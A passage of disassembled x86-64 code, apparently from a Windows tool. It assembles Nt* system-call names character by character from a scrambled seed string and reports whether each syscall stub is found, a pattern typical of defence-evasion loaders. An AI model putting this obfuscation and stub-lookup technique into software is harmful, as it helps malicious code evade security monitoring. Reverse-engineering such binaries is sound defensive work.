lea rdx, [rbp + 0x4290]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4250]
lea rdx, [rbp + 0x4270]
lea r8, [0x05150ed5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4230]
lea rdx, [rbp + 0x4250]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4210]
lea rdx, [rbp + 0x4230]
lea r8, [0x05150f19]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x41f0]
lea rdx, [rbp + 0x4210]
lea r8, [0x05150f19]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x41f0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x41f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4210]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4230]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4250]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4270]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4290]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x42b0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x42d0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x42f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4310]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4330]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4350]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4370]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x439f]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x43a0]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x43a0]
mov rcx, qword [rbp + 0x5c18]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x43a0]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x406566
lea rbx, [0x05150ee9]
jmp 0x40656d
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x45cf]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x45cf]
lea rax, [rbp + 0x45a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x4580]
lea rdx, [rbp + 0x45a0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4560]
lea rdx, [rbp + 0x4580]
lea r8, [0x05150f29]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4540]
lea rdx, [rbp + 0x4560]
lea r8, [0x05150ee1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4520]
lea rdx, [rbp + 0x4540]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4500]
lea rdx, [rbp + 0x4520]
lea r8, [0x05150ee1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x44e0]
lea rdx, [rbp + 0x4500]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x44c0]
lea rdx, [rbp + 0x44e0]
lea r8, [0x05150ecf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x44a0]
lea rdx, [rbp + 0x44c0]
lea r8, [0x05150f2f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4480]
lea rdx, [rbp + 0x44a0]
lea r8, [0x05150ed5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4460]
lea rdx, [rbp + 0x4480]
lea r8, [0x05150f0d]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4440]
lea rdx, [rbp + 0x4460]
lea r8, [0x05150f0f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4420]
lea rdx, [rbp + 0x4440]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4400]
lea rdx, [rbp + 0x4420]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x43e0]
lea rdx, [rbp + 0x4400]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x43c0]
lea rdx, [rbp + 0x43e0]
lea r8, [0x05150f11]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x43c0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x43c0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x43e0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4400]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4440]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4460]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4480]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x44a0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x44c0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x44e0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4500]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4520]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4540]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4560]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4580]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x45a0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x45cf]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x45d0]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x45d0]
mov rcx, qword [rbp + 0x5c10]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x45d0]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x4068fe
lea rbx, [0x05150ee9]
jmp 0x406905
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x485f]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x485f]
lea rax, [rbp + 0x4830]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x4810]
lea rdx, [rbp + 0x4830]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x47f0]
lea rdx, [rbp + 0x4810]
lea r8, [0x05150ecf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x47d0]
lea rdx, [rbp + 0x47f0]
lea r8, [0x05150ed1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x47b0]
lea rdx, [rbp + 0x47d0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4790]
lea rdx, [rbp + 0x47b0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4770]
lea rdx, [rbp + 0x4790]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4750]
lea rdx, [rbp + 0x4770]
lea r8, [0x05150f17]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4730]
lea rdx, [rbp + 0x4750]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4710]
lea rdx, [rbp + 0x4730]
lea r8, [0x05150f19]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x46f0]
lea rdx, [rbp + 0x4710]
lea r8, [0x05150ee1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x46d0]
lea rdx, [rbp + 0x46f0]
lea r8, [0x05150ee5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x46b0]
lea rdx, [rbp + 0x46d0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4690]
lea rdx, [rbp + 0x46b0]
lea r8, [0x05150f0d]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4670]
lea rdx, [rbp + 0x4690]
lea r8, [0x05150f0f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4650]
lea rdx, [rbp + 0x4670]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4630]
lea rdx, [rbp + 0x4650]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4610]
lea rdx, [rbp + 0x4630]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x45f0]
lea rdx, [rbp + 0x4610]
lea r8, [0x05150f11]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x45f0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x45f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4610]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4630]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4650]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4670]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x46b0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x46d0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x46f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4710]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4730]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4750]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4770]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4790]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x47b0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x47d0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x47f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4810]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4830]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x485f]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x4860]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x4860]
mov rcx, qword [rbp + 0x5c08]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x4860]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x406d1a
lea rbx, [0x05150ee9]
jmp 0x406d21
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x4acf]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x4acf]
lea rax, [rbp + 0x4aa0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x4a80]
lea rdx, [rbp + 0x4aa0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4a60]
lea rdx, [rbp + 0x4a80]
lea r8, [0x05150f31]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4a40]
lea rdx, [rbp + 0x4a60]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4a20]
lea rdx, [rbp + 0x4a40]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4a00]
lea rdx, [rbp + 0x4a20]
lea r8, [0x05150f0b]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x49e0]
lea rdx, [rbp + 0x4a00]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x49c0]
lea rdx, [rbp + 0x49e0]
lea r8, [0x05150f1f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x49a0]
lea rdx, [rbp + 0x49c0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4980]
lea rdx, [rbp + 0x49a0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4960]
lea rdx, [rbp + 0x4980]
lea r8, [0x05150f15]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4940]
lea rdx, [rbp + 0x4960]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4920]
lea rdx, [rbp + 0x4940]
lea r8, [0x05150f0d]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4900]
lea rdx, [rbp + 0x4920]
lea r8, [0x05150f0f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x48e0]
lea rdx, [rbp + 0x4900]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x48c0]
lea rdx, [rbp + 0x48e0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x48a0]
lea rdx, [rbp + 0x48c0]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4880]
lea rdx, [rbp + 0x48a0]
lea r8, [0x05150f11]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x4880]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x4880]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x48a0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x48e0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4900]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4920]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4940]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4960]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4980]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x49a0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x49c0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x49e0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4a00]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4a20]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4a40]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4a60]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4a80]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4aa0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4acf]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x4ad0]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x4ad0]
mov rcx, qword [rbp + 0x5c00]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x4ad0]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x40710a
lea rbx, [0x05150ee9]
jmp 0x407111
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x4d3f]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x4d3f]
lea rax, [rbp + 0x4d10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x4cf0]
lea rdx, [rbp + 0x4d10]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4cd0]
lea rdx, [rbp + 0x4cf0]
lea r8, [0x05150f1d]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4cb0]
lea rdx, [rbp + 0x4cd0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4c90]
lea rdx, [rbp + 0x4cb0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4c70]
lea rdx, [rbp + 0x4c90]
lea r8, [0x05150f0b]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4c50]
lea rdx, [rbp + 0x4c70]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4c30]
lea rdx, [rbp + 0x4c50]
lea r8, [0x05150f1f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4c10]
lea rdx, [rbp + 0x4c30]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4bf0]
lea rdx, [rbp + 0x4c10]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4bd0]
lea rdx, [rbp + 0x4bf0]
lea r8, [0x05150f15]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4bb0]
lea rdx, [rbp + 0x4bd0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4b90]
lea rdx, [rbp + 0x4bb0]
lea r8, [0x05150f0d]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4b70]
lea rdx, [rbp + 0x4b90]
lea r8, [0x05150f0f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4b50]
lea rdx, [rbp + 0x4b70]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4b30]
lea rdx, [rbp + 0x4b50]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4b10]
lea rdx, [rbp + 0x4b30]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4af0]
lea rdx, [rbp + 0x4b10]
lea r8, [0x05150f11]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x4af0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x4af0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4b10]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4b30]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4b50]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4b70]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4b90]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4bb0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4bd0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4bf0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4c10]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4c30]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4c50]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4c70]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4c90]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4cb0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4cd0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4cf0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4d10]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4d3f]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x4d40]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x4d40]
mov rcx, qword [rbp + 0x5bf8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x4d40]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x4074fa
lea rbx, [0x05150ee9]
jmp 0x407501
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x4f6f]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x4f6f]
lea rax, [rbp + 0x4f40]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x4f20]
lea rdx, [rbp + 0x4f40]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4f00]
lea rdx, [rbp + 0x4f20]
lea r8, [0x05150f33]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4ee0]
lea rdx, [rbp + 0x4f00]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4ec0]
lea rdx, [rbp + 0x4ee0]
lea r8, [0x05150ed1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4ea0]
lea rdx, [rbp + 0x4ec0]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4e80]
lea rdx, [rbp + 0x4ea0]
lea r8, [0x05150ee7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4e60]
lea rdx, [rbp + 0x4e80]
lea r8, [0x05150f13]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4e40]
lea rdx, [rbp + 0x4e60]
lea r8, [0x05150f15]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4e20]
lea rdx, [rbp + 0x4e40]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4e00]
lea rdx, [rbp + 0x4e20]
lea r8, [0x05150ed5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4de0]
lea rdx, [rbp + 0x4e00]
lea r8, [0x05150ee1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4dc0]
lea rdx, [rbp + 0x4de0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4da0]
lea rdx, [rbp + 0x4dc0]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4d80]
lea rdx, [rbp + 0x4da0]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4d60]
lea rdx, [rbp + 0x4d80]
lea r8, [0x05150f1f]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x4d60]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x4d60]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4d80]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4da0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4dc0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4de0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4e00]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4e20]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4e40]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4e60]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4e80]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4ea0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4ec0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4ee0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4f00]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4f20]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4f40]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4f6f]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x4f70]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x4f70]
mov rcx, qword [rbp + 0x5bf0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x4f70]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x407892
lea rbx, [0x05150ee9]
jmp 0x407899
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x513f]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x513f]
lea rax, [rbp + 0x5110]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x50f0]
lea rdx, [rbp + 0x5110]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x50d0]
lea rdx, [rbp + 0x50f0]
lea r8, [0x05150f23]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x50b0]
lea rdx, [rbp + 0x50d0]
lea r8, [0x05150f2f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5090]
lea rdx, [rbp + 0x50b0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5070]
lea rdx, [rbp + 0x5090]
lea r8, [0x05150f1f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5050]
lea rdx, [rbp + 0x5070]
lea r8, [0x05150f1d]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5030]
lea rdx, [rbp + 0x5050]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5010]
lea rdx, [rbp + 0x5030]
lea r8, [0x05150ed5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4ff0]
lea rdx, [rbp + 0x5010]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4fd0]
lea rdx, [rbp + 0x4ff0]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4fb0]
lea rdx, [rbp + 0x4fd0]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x4f90]
lea rdx, [rbp + 0x4fb0]
lea r8, [0x05150f1f]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x4f90]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4fb0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4fd0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x4ff0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5010]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5030]
mov rcx, rax
call fcn.004a7590
